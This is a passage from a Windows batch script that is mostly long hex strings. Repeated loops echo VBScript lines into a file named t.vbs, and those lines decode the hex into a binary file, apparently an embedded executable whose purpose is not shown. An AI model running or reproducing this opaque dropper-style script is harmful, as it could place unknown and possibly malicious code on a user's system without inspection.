"C85F868797F0E3ABDF65AE4CD1ABF4E419C4E5C07502AED384547ED79038778525309B"
"6C1BEE31430F0635959F9F4837058554988D10598863CF216B47AC28F8CE1FA1CA50F6"
"832981B05DD05C5234BF8C0E50B0A643D1FC3406D08D7236CCC89B80C63DCFE1B610BF"
"8CD2840D7167F63C42F73411216CDE829179E310FAF3A954ABE4D11BEC8CEB2A06CF2A"
"77F0B08EC8F6145D57EDFCC3A7765EF5573B9740A9785E1D8F64BCEB22E81BFF75C2AD"
"92839638CAC89A7E84D1B6FA1445DBE6C99C4E092BC202486CB5123E00083A7A4DFCD2"
"9ED3AEED592CA7526E7A1B3B9A0CADA0D69652EA6D9E8AD1E22AB929FEA356792EC081"
"FE27E0CE355BAFAA36D413139A1AE5A3C78EE47472B0C91120BCB008A0F777D87BB44C"
"5DAFEF5414F9565D841E35874E0E9DFF4A3BFB7B045E6FEC2CEE220E4A58C634EC3CA6"
"C48378E0F6F42A63AB5318F13E5F5D408816C3343665A4F24FF1E8CD81A30396BE4DAE"
"E7953F0902DD7C0B81CC48B3177F45C8F2652D02BBABCC422B7E8271CB5DDACD90A7C1"
"3DA1C17DF6A82D2FC41E788E6AC8C8675E11D701FA0581ADD2FCB2317A6D54E3CD3FDF"
"981AF9B9D4C8C7C03A275B66D21055895669D74FC8BE46A562779B7EC402CBE9DEE4A5"
"5F06E2F9FF3D883FFE52107202A60E3AB310E3F6AC045793EFBD40355A1F283E6B6099"
"D1CB803BE6E1730B1937A8B9E29CE7ABDC3A0F99A768EE4285F05EFC8739257ADE3417"
"05425034BF0795065FCB3D94CD6F6328C1A40DD73E3F4F0C3314CD7FC467212126FF30"
"43D1E2F63D2B61F3B846A5E756AB92575FC21DCE9601372B6336B8AA65C4552DA71DF9"
"4A586446C3B0C0FCE557344A7809224C3DBF17D6A52713541C7FFA07E83F58C0E5CB34"
"834E4593804FCD1A6E6C956781C99AD6D2D62ACDD2B3D3F9630382E0CE97E3BEBE7B8B"
"CCB50588A400494869CD0709ED4160DDA05DE52683D020E717C0C09E69AEC608093B09"
"FB835E85DA63F154B142A4748D2677F5468DF8F7B0BC440DF0563F3E1E69EC7FD60D71"
"7A9BA6D3ADE3DDBADEEA6715CD0750A91AF8D93F205F14CDAFE2BE4F631FA12116DBC7"
"4FA0F56C702BEE74F701A15C422077910972091236A6DAA521CC74C5EE603DEE7CFBAC"
"AF2C3FBF1A2DC6D76E9687D6D83680CDC19F00EE2234AE863649A37A84B91A7B093BC1"
"CDF67AA42E732FC9CF179BB1274123C37D69B52B9AA84BF98648448AE719B017D90081"
"37F0137153FA8027888680105F9497A9DE5FCBC7F44284317A05AA06D4ACFC3A066E3D"
"18757622C837FF8FEF4553B0CA649534B523FF8C56620DE2E7E330A8756E69D529D1CD"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"065FE114B04A8B2E0D730C16C34CFFC5E0E7705F80189237F155DFA3762DBD26EA9163"
"D433F35AACE87C7A26E29279FD3BBA64BE355A7D017FE21C946C0DAB74660DD795CCC1"
"471FCC64AE5819FF012E95F97174A98C022EF307FE9FC0EAB7F0F405CC357000A45BCA"
"EBF0D1022C42662D465C721AE074D18D7576BE08463B3584107699C1806AD4E0DD3B23"
"61BE20173048E21A875A97099A7D8E170CF8E46F18C3BFDD4217CDF4EBE0E399AD2E1D"
"62E4C3B12F10C6BFB712E64763B1D14F06E562EC6834417345F376A0173EEDE3575C10"
"C5F91E24E0C6F362611B16EEF4166640C14F039D8945B3E2AF7E481C1254D17C0128A4"
"3A9413FF21D0B4F366AFFAF9CC5FFDA86F19513FEB866BE7C651265D5434EF1A4FFDFC"
"8178517DFE7BA439E88C023FA56111954685E600551A45FC1F2F50A5A139E0290445B5"
"E382F878C9CD0E32AB00B4BB4C667497C9F9372F8F5253217328C55DB8A3C74780DAF1"
"CCA54AA679804AD40C503FEA32882A68740D6AA50DBA730D72CD453F0F7C19C86F1EA7"
"C5A05B38E18E42B6C344AAA0F85969FF9A35C209575A0C330D5937D1807B1A9D7D5461"
"047DA6EB1F2FEC3C79FE9A801A89B010D4DC679D62738CC1B3C7ECB494A026539D72B5"
"5D750DC688CCBEFF05093E5F91299AF1D907FF48AFC8577CF0CEDFD73B2E932FC78C65"
"F28C9BAF65F2C5D9E3317965DC784CCEBDF9973179FF77BF84C9AFF7F933F9A5BEF199"
"7CE2D22826C7C4FA317951FF30939FEC1F9FC9A72E5DCB643B30D9620D3418F93D2002"
"70992CEA9C421FE361A1BBA340AB2FA0FCA7FB1E93C4A0C322CE1642402A09534724E1"
"03BAD25829D73EFEFEC3354FA4C7E5F2B33E2E3F8E8C7DE59B71191B3D7B2C6397CCBE"
"96B137448FC7D87B6E1E8FB1D6D9BF8CB13DDFFE12C6769DF767ECD1F3E333F6EA0FA3"
"185B14E3C758E38561C6B65F189FB10103D732763330D64E197BF61265ACFA5BDAB94A"
"5DAA648391A1CC1A1F8FBD31B5778D8FC36391C3F34638DC4B97193B0D2DE6F5593CE6"
"DC84575F2B9AFF4C9F8FCA15CD4F89C494F38FF72231AD125787D46430F0BB7F10CF0B"
"E0FEEDF04E39467930A97B28F5EFC40E7DD0A15D0A8493F02DDE1E43CC07006FEF10E0"
"8D366890BFF3223E4655829D0E463BEDC980DEB87531C497F8EE6CFE0A9D0B25DA1FE8"
"50068B4F7508A5059F5AFEC2D9D1231518C89ED25C3475E80641651045F34289779E71"
"689D8CFC6B1ED1C8BA1BFBD910AEBD87568B27243EBC48B9F30DFFCFAF453997A29C07"
"7805A2EE46904988BCDDA57DFECF0EBA869F1DE0B36901823EDE12855BF172E71C8E95"
"C7F7E51B0DFC8DB3A0A69D891CE9F6674AC89EC7F12269BD3D2BC0009E0EE197602C3E"
"A81AD05C658EA9D97E373BD490F36B70AC20606C951682D3A8D80DCDF454282F8A9218"
"52DD2175C6917C70D6AA3952ED963AF33517993001FDCF218DAEDFDE56ED8A75422FD1"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"A7E8E3DB6F143DFB7ABAFF4DABDE9B45857D664F2CD68DEF0E8D7F84050FE134CA20F0"
"5734270550975E7356D17C4B001EC790F17FE8C1584BA268F9891E22C1131078CA215A"
"AD93B152EB0F1E253DF30025450B7AC256EF211893C1AD4398FC04503826BA418C02C7"
"CDCAA63B95FDC2317474395DBF0664CD2CE2EB1A94B15B80E0102E1C8351351DD0CEDD"
"38D890EF66FBDEA2C78174FDF1BA41378B1B63816E08A0870F75F4E112469031A00101"
"247B83049F690E36E9FA880C59D96FDF8F0772CC12E27FDCE3279012FE3D9054F09222"
"33E8F302CF57231C4E91F8040345CC2A31F04670634D7A60229F08185A505999DEDA01"
"B265045CF9C69B6854A16EA4683FB417CF3B00CE5CF160FC3E58558D43EE5239451C18"
"4D65A1CF047FE204804F73C52DE7DBE9AE0BAEC114CD8186AC2009DD1E0B6C0839C2CF"
"D3C93D8120A0EA46394063F70DF3398CA229B27AF81051CF0CE80952ECC021455C8DFC"
"C91BC57366265CBDD71BF84DA0A2443768A4FE2B832CC78C8D9E9918C419EAFA15F7C7"
"E096D2F357C793B6716D13555C11A0B72E12AF45FA465460A8332250D62C40DD9E1E5A"
"A954B46CC748AA785068D545014EAA3657E320F049F19BB6C238E46910FE0476E2A20B"
"E4DFEFF38617052812ADB982DE848B11E05A8874E40112AAC2E115CCCCF389DDDD2C8B"
"9BE978428C79D8D47397FF0A5A0BBAB204F5F34A08680EE098063C6A166505A20EF1AB"
"7CE37E48D55E84C1C407817142686264F32E68CC57A8C6948F4BA651C79684A0ED204A"
"3BF1C71ABA4675F4D2F7AEFDD215DE534BB28BB83D251BE5F7C9E9963AFFED856B6F61"
"FDF302D64BAFD9A664EA2FE9E4A05909534D3312C204F1D66E417890BA0FB9CD079810"
"8B7B0A219E9B5E9042F641CC46BC1000593CB4E699F0828C9961E1F0FCDABFC1107A8B"
"6C321E2D03AFE72ADA82089EFB026A8DFCEFAE606CB9767CE55F361A63239782F5C036"
"E138DDD1F50B35A5D0EB38CA144EC6243E32029DB405546908B059A2B7280101FE479E"
"6E0B319F20BB8E8E3AD851E81A9CE09CA2786D9B5B0BC21CDBD2A4158F4E0688CF5F76"
"B050BE5B4B0FE94AE8436CC9E82D662DC5F99441380182CB6C40A1B580BDB46E46CEDC"
"CB8BE7C904361C1A50BB3AE54BD1AEB6E607E90D5639BFE0BC6857E57EAE450A48D6A2"
"D66592124B272C2C3DEF02CFC2D51E40171DD8F2DDE818C17A578E22C309EFF1CE315A"
"DC473D95404FBC1D070501712C335DF3E188BCFBC8D853895A5E27D37430DD2E19E87E"
"B9C1DDA854DC5708D5AD9B325A0BDE41D3928727804EC11CA16C899A8C08BED14D6D6A"
"CB295CA13771059D9CF363D0618A9677B1A25CAA68D94733600AF6D08C5CD182313277"
"A6E90B7CDD41D5C6BD177690BD812BE8C6111E150F29D67ACFD7A25FC2B5C7E1E952D5"
"21EEA3B0234CB06BEBE150D646F361E083AA8B8798756EB0A4C75487A06A22572C73A9"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"057639B74AE99E0455FB9860555B58279BC9151CA60C4F014EFF948DCF85E350C85587"
"404943ABC5DC19D717122F3693D4CBFB583957D08F87735C83018EB4F184B5077D10AE"
"A00F1A7589BD0F71C7102D2181BF47411FA91FE4DA5D5D01148D20F5F25E660FE2A268"
"398D5A6CEB6909FB82EBABE8B03E76279EF580468A96FDF44E7F80FDDF7A76D3B97BBB"
"8B0E8917672CDE096B0CEF6663A18C16E270DB018BF8049C33F5B51C058E799B490083"
"494212FF45B8E824CCC78DFAD58883E2FE68B4255F45ABDA3C59AEAD83E05B29B062EB"
"106117039FDD05439E45084221E271E12A1DAB4F10C7FA028BBABEA6AF04E15B210CF8"
"7E1497FBFA2E22E8949C4EE9EAD083B151DCBBF727BA05B4B6BC0C9DBB116BFA1AB416"
"ADE973F8B07C63CF9370692D22E5594422CD16D345BFE4AB63206DCFF65F91AEDEB927"
"CF1BC4D300274BF993E741EE3F2BED04D1EF7337F60AC700194D077BC328C13FC6BBCF"
"225E3D55418418399B5C7389CB96814150346704E1690F4573325CB9FCF9DC3299EB72"
"28B74589FB7FF9116E5D37979F0092C3E5CF853CB38EEECADECE75B8BA94AAA361FBD9"
"12F52A19F3ABE167D9200AB3E8215699C513091AB2F647D085D600FEB55EEA277B46D4"
"5A8868B48FF1DF9D01CAD073A6C77A401B11FA6C7532D71147570D8EA1ECF92DD66F89"
"254C98EBF2042698CB8F0507AB350714DE04C5FD77239CD8964FF341D6E963B09588DE"
"122A8C456079ADA1FC4B3D34D49831C20F8314FD5751C27BF2B11068E9A79AA81F7C36"
"AE139C9591C673E8696C9F80DBF0803C1A56DC90EF36F015D4ED66D7801BC8C4FB53E2"
"46911206CBE7488A8ACB488A40FE250F35139EE970D760E9C55BF997452AEDA0B7947E"
"A76E7B7605821CC37878E0949B85808132DB68580AA864A2153C86EA14079FEAF30327"
"7A59701E807B7642C1F21D0E7376108791F0F3E83072CF6F714E120A48C735289BBEC2"
"D7A160E1F631D3F118397DDE004B7C6DA418F8B6C81107A82762FD81706F7D3F1E91DC"
"09F2AC2EEE67D2294AE0736E4EA00F0166F8909A0C6BBF10CF1758FA01604F082E58AC"
"B15CC06239149BBEA68AAA2D6C10490750B8C1020C81F9B367C578467B1503E1F99E60"
"C0826BEC47E751CF17811BDB7397E8BB839F743940F1681B4439E0A435AF0DC0B7180C"
"FCBD67BCBB3BF49475BF35D4C01FFA4EAC7A18DD76281F43FBD3D82F618340A97BC0BD"
"E9757D2DA1A8DC3E4C1A20CC5C6C03A38B6E7702FF37F4084205B617F2EF4EF1D2A35B"
"82522CB65388EDC281563D1FA2BB489BAEC462DB5571489C4C711F13C815F7BA653DCF"
"63E7AF9574E80960C65C9BA402BB12D93BCB5FB6945E169F43E2A1D2412EF761211215"
"95F816C75A8C0DF94FC438BB08A002CC295E984C28A829B7A4A704E3CBEB41FF020196"
"7AA17F8F85DD78A2788B2CC4C086F2BB61A58006F2C8E8C60AE8201FC93670F9CA382A"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"4C285B09D81E2659C22A4EEAF89333638100FB2603DDC23FD375967C46CB1F4FF6D20E"
"5F281C6E3F79B83D1ECDEF7908C61EE9F206566DF6A283A40EC1D6519E1A68F2599467"
"1D46E30D69DE7D6863B2E74EFA346A0915CA71277B11E7671BF2737FFD030BBEE05390"
"B30ADCE2D60D755067097DA8C8317A76F6A7A867CBCA696CFFEB2544529827A6D7F347"
"9241272613E42DF9A3DC2D51AFD313FCC231884C15CDF4FD0588FA2E299A1FA38FB495"
"A2D4C2FCF8B7C5E72BA1F4997DCFFDF436049EF286F3AEF668F0EF84D6FC2E98613E97"
"DF1787EF5E223FD8409550C00543F54DC30EC89608B01A2621D5D516A0E71F3E4F835E"
"D0EA18ABC95DED60D964F6BF791EBB5677AB4EE26C3D53D1559B349A12BE730272F2B3"
"B37B537C4AAF68FE9B6F6E2FD2F946E07C9F141F2F5841A728DD99EE2D523EE20C2A67"
"80ADE91CA6823809DCF969CD0DD25B49FC15AB6C39BFE70B248D3B981DF1BF2B7C0ADF"
"6342CF0EDB5A27F00F890DF3A5CCF1D65C093E561652F9FE735029A0CE5216985AF356"
"07E88506297F066A85546F48B2149FAD5D67D2638F8AB49C323277011321FAB08A3DC0"
"1BE6D79DA0DC9B600DE1BF3A0EC0E418B5E9A134748EA204AB32A3E554438CAB7DBE2B"
"9330115C7EB7D795436FCFC86F3B833EB3FED7ECE7884FF609713BC477DE909E82BCC6"
"598EA25B1EE02C0C527F61C88DE17AAFD8E92DDC2F52B5B9D941DC44B74A6E6E873018"
"16870950AA398784D79C653468B6C0354CA3F1329309F17D91669FE37D9381AF57A02B"
"8161E622F128233D763893FE4EB59A460581C3C7427BDA51E1B585EAA11F3F70D2BBF3"
"C17CA5C7810DBC82FA976C187D8FE6A1CF804A87F1E470ABAE576F699E8CB1793F7F96"
"FA7ACC6990946CC4F51F9F83540E5CD2F5E15A0653DE38D4D046371D76297617062876"
"9312BD250DFA5AB30DFC8EB3D41AE38694F799543FFF1085C78683BB97BF8F0FD0209D"
"EC6FA9718F88058826DCF85BD4898B44EA9C4D111B383DA235142DB7083E5F6F1A36B7"
"4AF6CEC71011BBE94ED3288D4B4191452B07E18AC1ADE321EC2BE6ABB9C86E7041E20F"
"8286A9764714C202617E4D9BE0E651A7701CA4362F300CA2FB1024D6F12EBA117C890D"
"A738D80174CF63D4C44008356489A6D41934F2AF9C111D8E68980115B64D1FA3B0E1DE"
"CB10941EF282615E37BAF1E959B792BE8E05A384F10EDFBD2710E2B7E8443CD6874E04"
"C4B7460A5629CEFF14FACAD71E76EC8DF58F1FDDA583AA013188344210C994A84B2398"
"A5EAD228A6405D3A935DC2FFC72774414CB76CC591127024BE0690B56C417573C2338F"
"F71C1577AFD1E3866077B14617B179E6E81891FFE3C7A894283251842B8EBAB30DD8CA"
"C8A2F9F8EFC59D73E6B491FF76488C4967E2E645542BCA79849E7FF17B0AFE4D15DDD4"
"7397E2FB598AFB1240423D81D44CCB5BE54DDC746B4036A8C43237AB7404719BA4A868"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"81BB5100824FFD513C9D918C12EAAB14BC95937103091F21E00308EE8AEA147832A5BD"
"5C635F874E890605300DD445717D8AE6055004FD53E46A5406B0B942838C5F44B79473"
"34FBD845262FD8772F8B6023712C5FE523E2584CB81726F832C54A15182DF0E84FC3F8"
"6E5D17A79B09BE7CABEEB4DE6470B33CFF2C7560B9E2D3E26E33971F85A70B34F933C5"
"E7FB42FE4CD105C2E014BDC3900E5D3FDD262816B768658A7BCFA2D3E1E5B3BAB49F4D"
"520D00731BE281FC9AF714CD181A7339F826AA8CBAF4CC04F51A808E3BCEF9AE7D7A0D"
"1B61EF3460789FDD93472578A6C1F235CAC0FCF3742FC5D94565CD3BC5677FF4450CA2"
"8FACB8EABFFA867EF2AE3EEF5D7C070A828279067FBF7CA6D01065B07C89431CFA56F4"
"CBA77489CBE431F1AEE51BBCF932BD19D073B7FFAE98D7FC9DE0938F22AE14A7498053"
"CF7DF89C3F275A73809D22CE560C60987F729B623D515C51ACE63D5661D0F34F9F1737"
"CE5899672F7719F83CD5348C5C180C6FB274A3E7DE04590B8F68C47D2B7AEEF5545BC9"
"7B2E5EF5BE8FE4DBE2C137C15C6913C4737601A3CED5F23B713D1CD2A0E16F3BE02E94"
"BA0B65EE4279077D037BCC5B7846FE25F134B88ACB978916689689DBA8D4F3D1F43D4C"
"999E0FEB44CBC8819296B15F96BBAAA5C477D4A5ECDADD362EBC845F23429497F0BF81"
"9C917F17ECD498A65CB1AC844F14DB057239D271EE4E11C4C781E06DC471ABE4EA1269"
"433F978367305D3F4AECB25BB93E2E5BC90E82734B4F8726965D7B34D4C87F70557CBA"
"8CC7740B5D5BC009FEC11AC1371D131F9BC0EA76DDA1244021800244E28A23289D2AE9"
"1A90829B49203AC897C1A25D2677E728DDF9722E5F5A38E66428B74AD67294B1704BA4"
"AFE31BF29A7DCE5B981C2DAE1D265D8B6F03312A2D0A06335F8BDBB84C9C163F4CC1DC"
"E849D1E2EA60A2E1328130E15AFCAE05BE2146C2083BDDB55FBE82DF814E42B8B1D52E"
"37F2BFC7E061CE589AA3AF61E0BFA607AC58194CB3478126FDA8DA20053D7C8FCCBD4A"
"A6B8EF1275B0F0F09CBA40AA68E9C44F597851AD64968BA8CEA7A88AAF845374C557C2"
"29AEDE576A0BE427C9C9E04F7B3C378B4BC02838E5BCFA8818563D812D56C93C5BA0D9"
"67C1A7A3CE760DBC9377B78DDBEFD92ACEEF76717E51E2FC4CD08C5B26D5144AD9A55C"
"B806CF0C14C8ABB965C1D59AC260560DB970C885B38B20170AB950360E7201900B6067"
"404E0E39393BA99A8366324F0842239A606607B755B9446390E2B4EFC573843EFF2C02"
"B7003DFDFE4706815CE621C2BF34342222F8344ED932C08651B78A3A997DA6FCD68C54"
"135F7C44F4D0869879461A851EE8A42F63982C483E74C75A7E1295B39C9E18FCE463EF"
"E0631E68FA864D16CF0AABAC52FEC2473ED07120916EB4E556297D8F8C1E751805768B"
"0876CCC3061FD0B35786813E711DA0520AF4E4903FD0793F0BF4C111A08523404FEAE4"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"27A37C408329D0E651403F3EF67340537C4065FCC50F87817EA6937F4681CA2C289F08"
"74D128A05B7D4047D114F7905503E0CBF0677EA4608DFC006E43E1238BC3624D1E7DF7"
"5EDE30D568A48F713BC533954C7081A6516EFF067ECAD969BEE9C8E8C87FBFE23FF20D"
"57E8C86587C63E78E0AD3F8E08502C7DBA286F988E8E3D7D5388AF1B35D2D75C4779E9"
"982745F4618C7990A0CAA22FD3E1A1CF8B3FFAA892020E37A8B8305077A083F09DFD60"
"4EAF741B659A7C391BE85E26179649F5FC5D57BC47556F3F4AF723C7202A6EE1E0034E"
"911E539B364A71A2788C4D29D8E4BC0DB74D03C47399E374AB12BB4DF1750BC53E893F"
"FAFA8C3B54C28FC31A7C2A57286DBA4C1FBDC8F00A107AB86CF9753A5EBA3CDC514E07"
"0C20ECC5EB373F7879FC29D5FDFC941EBEFC3FA1845733204E09C3209689203C30BB37"
"70729A7799606055B0E764CB21608D5EEAB6C991176340D168588420BFEC75E911F056"
"B02E86BD385DCD0146AAE96057A91B23C453B45419B97510B54764ABB74821073E6C06"
"31F17F3F2C06B37266AEBB4CEADE22F3DCD23A93A8CB648E9B5AB7C8416FC19275DD42"
"0CFC76B161081D29C25D26F3BECEDA20E7078FF9B6B0475BB6E179560FD2794EF7914A"
"E9ED0BD4423F50A4D6B83DE78B3D67FA7A4E114D87B7F3B7C39D23C6EBFCDD25AF8390"
"2DBD0EEBDFBF343E0F5FBD0EEBF159A65C3FAC5B5F1F1CFB24D1AF89A829FFE3E79A88"
"7ACFF1734D442DA61F1C7BD87EF865E261FB319FB6F152F1B010D7AF1C79CF79D02FDF"
"E797D7D3F746D11BC697963FF25EB1DC309D481E9C2E7E87C777BFD3EFFEA499441237"
"73F4FD8FFDEE67CD2292DC59A3EFFBC32F892592F2D8EBF73F3897488E43DA7E1BBE2F"
"2CFE45DD2E7E0FEC51BFBA5EA89361DDDA91BA374AA16E122177F8D55597017C68B7DD"
"AFCE0E7504DA6DF6AB6B833AA01059EA573708756DCAF13FCB23BBDDFBBD23B8A642CA"
"8764845405C90E691BA4ED909E86B407523BA4E390D65510B212521EA45448BF827423"
"A4C9F84133487D7710F229A483905E83F42748BF83741F241BA4DB201542CA80340752"
"28A4817242CE418A817403A48390FE0AE97148DB21D92195419242CA2E17F13E0C73EB"
"85740ED2F132B16E2A5CE7424A87742BA4D59002BCF79E83EB16483BBC6546FCA21AE9"
"079A7F0AA91DD20B901E83F420A4BB2155435A0D6929A43C48A99016428A8534197905"
"E947A0C946987733A47F83F414A41721BD0A693FA4C3908E43EA82F44D8538F6DD9222"
"C74AF34666555D4D657D9579F4F7D4486FA0C1CC2CAD70303ABBBDDE4EC857928251E5"
"DF0614D4D6AFABA85D55575B5F792750C85BCEB79BCD303F6F6929BDD7E22DE5D4E207"
"E22C812BCC1555F935B5D0EE86C062B696A959B28931AFAC37D55499732D1576F27B1C"
"2BB7BECE515F6B5ECE323696C9D51372026BB1DBCA4D3633D10440C9C0541556D45521"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"A467030ACD1536C0B9A8AEBADEBEA182A9A9AF23A33F0B471E21E5E535F5EBCAABD93A"
"0832BE916E306FA8B46D22E473A877AE37331B2A6AEA2AECEB1D844448CA2BCD1B6B80"
"3DEB24E5346325E5AB2B6D383E63B69387A4E2DD4F24E53575350C546D20124979C506"
"C77AB139F918603ACC0CEB30233216B31D68F60329AFA8B2B20EA6BCBAAAA601C380F2"
"725B797965FD06FC4622216F89E56AB1745484505E61B395333865FFAFD991C5240B47"
"0584197376F69A9CD5AB6F236B10D74AB38D29B750AAD89345D875E416984F7D1D63AF"
"AFADB6019C00A0536E6D8D6D5D7D85BD2A8F7E06B080E4D6D63BCCC3B5847C40741B6C"
"CC26BF1A45C0729BB96EA4A25BB2B4BEA2CAC0D86BEAD69B483A41E6ADB2D9CC7613F1"
"FFDC9EFFF7F6C8446234DB4B58B37D93B1A296359B3028F3F2156E38806BC84013E8FF"
"6B6B0D35774307FF4FF64D96C0E8B9161850E1CD1501441DE6E13F1359E2CD61ADFFE7"
"FDFE11505407E443D13557E9365602BDD69BC96CA9A1D66CB69137FCEFE6D66FB055D8"
"CDC38D48A414A8B7AA4E243176068203825EC91840292DAEAF626BCDA268E680A60AA4"
"13D69BED5434EB2ACDB9F52C8E40AA518A57D654DE492B0879854A3E6BB79BEB989516"
"3BAC9322A0FB8B7EB57A7B7DA5D9E180EAE574056C7230E60D2B6B3698731C746D408E"
"2C90AEF48986B739217FBE1606C9945E771A241C6729A2B0AA6829CC9CAD80C9FF1400"
"2BDABBC80B25F974A1150328B887149602B36AAA378D6224598EB506BAA0AB6A7088E2"
"0AC79DE4377E6BBC98CAFB6BD25A0763AF35D7A1F4102FD97DC245CA29A5283E140533"
"5931BA0DD0F96EA94F85ACAC1FD62BE4CF543380B4D554014108B91921794980770879"
"82B610B5D373A21E0149236427CD8B1AED4F34BFC22CB6DA2E35D96B18B3177F905689"
"0E56BD8FAE3F8CC800F26459C506A4CE998072503835951B60C4F3A87B6071236FCB41"
"F394D73BAA2D5E4D6684556CB7D7D513522F29AF86FE90FD20B0BCC151E7B4C144996A"
"620E72563A987A908C3BC51C5B4B2C620E56D86FA4D5D5B5AC033C9B27A5D5DE1EFE7F"
"F82991FF9AFE769ECF3EA31311443F7CFAAFBFFF6B7FF879311E7C90B99094E2F759B7"
"45899F77DD36B6A544FC4CECB8F50F5CA7FEA971EA274847BE393CB6FEE075EA71D36C"
"F5FDA3EFBFE022E4E540BFEF9AC2487F0B1829079262D0234524236BE386DAE8065127"
"6963121726C4449BEBC0E501A5A18D59B5327F415A4CB48381D557515B5F67D6C66C32"
"3B62B232278666CC5EB0203AB7DEB6C95EB3DEC244CFAD9C175D5C5369AF77D4573350"
"6FB7D5DBA99B11BD6001B6AE7038CC1BD6D56E8A86E1EA1CDA18D65E97EEA8B4983754"
"38166CF0F55B000639BDC2B1616143624C3498829A6AB38331FAE3E60FAAA80AB4750D"
"B369626834FC0D4F2165213484A662B54DD43AF5F61C7BA505945225C3DA61161BD352"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"BD0DEA40FF686386515F68AAA9ABAA773A16A26E7250FBB1106DBAB735BA1ADA18674D"
"9D2A096A16213A556647A5BD869A874C6C19BD20BAB2DE566376448363138D9F118E06"
"2D531F5DE9F30C3216F97799180A30183BF83D68117E2179544808C427C361AE6441D9"
"6EF296699DDD7C170B843357E9ED350D308DF56687DFEDD14D741B010022B2D4DC60AE"
"1DDD0AFF6AB15A1B53E128AA6BA8BFD36C8FB9B6095B93538934D6C65457D43ACC635A"
"2CF2C76CD1F551CB58E437958C45C314A1251FCB29B5A8FCBE1C984C3FC86C20E5F0AB"
"037B6700695E4E9641B9087EF3218F7FFF907E7755D4DEC12420DB36CD77CDF2AE0329"
"FC1BABDB4303B1C7CF7DCF153CFE006C83DF724D206A7A5D02BF108790A9509F0B6D36"
"803EC06FB56EF2FBB22B815557432A016E3D7140AA8631A2696B3BB4AEA75F771DF9AA"
"2B43E6002CDFD879901CB46F0DB4F5FFF66B2EDCC7BA68B2005225D4DBA06CA65FAA65"
"880572D1A48A42AE805C0DFDEE6C3D6D29F65B0725FCDE2C984CB8778BDF9846FA7D5A"
"87DF58A96421CC73215C13E8BF852411F22A9206BFD1642E6980B60E3A5239F46460DE"
"D83E155A25C23511304C827F092485CCA3F092C80418EFFADFC2F5E1B8104A1BBD34DC"
"06250950DA0C9CC1D6B974C69B2865D6C37CF1FBDE7F066C7E39AD17C29D1C80540BD7"
"11280E5A423A22660DF05B052D2176A5382FF7B6ACF1E2ECA359DDCFE26E2571D0574F"
"B1AA222CB461FE1BF9F80B6061A2A354418D13EAB16639C0350FCF0165341A247613A5"
"BD19A0D1EF1B13C535638DE5E8CFF113FFF2A89519FF7BC4F8174B3F9E7EFDEF124F90"
"EEA25F577FFFEAFB570F7A6D1611B74688EF1BCE7C67CA7FCEBAE1FC8BC5BF9DBD3D69"
"D29280A90FDDAD5EDFDB74F5ABA898D73FFED2705DFBFC007E071DD2EF70AFC4FB097A"
"2CEFF29687BF110F49EECD8B566FE40FED7AD438F5C1DE7BC8CF0570CFF02F77E8FFC6"
"1F30BD0A44745BE2F6C41D89A713BB12FB9306938CAA0DAAC7552FAA5E57BDAFFA54F5"
"8D6A62F2B4E4B8E445C9A9C9B9C995C9CDC96F257F9CBC26A539E58F298752CEA690D4"
"D05475AA29D59CCAA6FE21B523F5E6C5E58BB72D7E7AF10B8BE7A4C5A725A6A5A669D2"
"B2D37469BF4E33A4DD91764F5A73DA93697F4E7B33AD3DEDBDB48FD22EA45D4A23EA20"
"F564F5CDEA79EA04759EFA56B55E6D5457AA6BD476F5C3EADFAB9F56BFA0DEA57E53FD"
"81FA94FA73F579B5345D913E2D3D267D617A7A7A767A41BA3EDD985E965E957E67BA3D"
"BD31BD259D4BFF4BFAEBE9524D84E606CD5CCD079AD39ACC8C5B335665D833DEC93894"
"C167081916EDF3DA0EEDC7DA2E2DAFEDD30E69A764CEC84CCE4CCFCCCECCCF5C9AB922"
"734DE61D99EB33EB32D9CCCD99AE4C2EF391CC3F643E9FB92BF3EF997B33FF99F941E6"
"C9CCAF337B332F64FE9429CD9A9C7573567C567A9631AB2A8BC9BA3B8BCB7A3CEB2F59"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"6D59ED599F647D9EF54396F83F58E8474D903035E157091909B9097724342434253C92"
"F072427B42574258E2ECC47989B989AB1277257E987836F1DBC42B89B149C5496B922C"
"497549F724FD7BD25F93DA938E270D25A5A9B25445AA55AA47548FA9FEA4DAA53A4CB9"
"33A092254F07FE2C48CE49BE27F981E44793F72677249F493E9F2C4F35A436A5BA53FF"
"983A7571CCE2AD8BEF5FFCC7C52F2E3EBCB873F1B78B43D3E6005FB6A4FD366D67DA2B"
"C005212D4CBD327D7DFAD6F447D3F7A61F4EEF4CFF3C7DA366AFE6AA2623A324E39E8C"
"FB331ECE7831A3376387F6196D48A63AB339F395CCD733C3B222B372B39667ADCCBA33"
"6B6BD653592F67FD57D667595F67A173802F200427CC4E488039E72494249427BC95F0"
"51C28F09C1894A98EF23899F247E9178217146D22D49B7263D93F4F7A4B3499EA41F92"
"C2551B556FA84EABFA5543AAD8E484E4CDC9FF96BC27F99DE40F92BF4E2E497924A52D"
"A533A52B2524754A6A55EAEF52BF4CFD3E75DDE286C5AF2C5E9156965699F662DA0769"
"9EB40075BDBA45FD90FA2D7570FA449092A2F4E530AFFBD29F487F2EBD0DE6B64E53AF"
"D9A47954F3B5E6A266424678465BC6B98CF319C1DA28ED226D8ED6AABD4BDBA46DD13E"
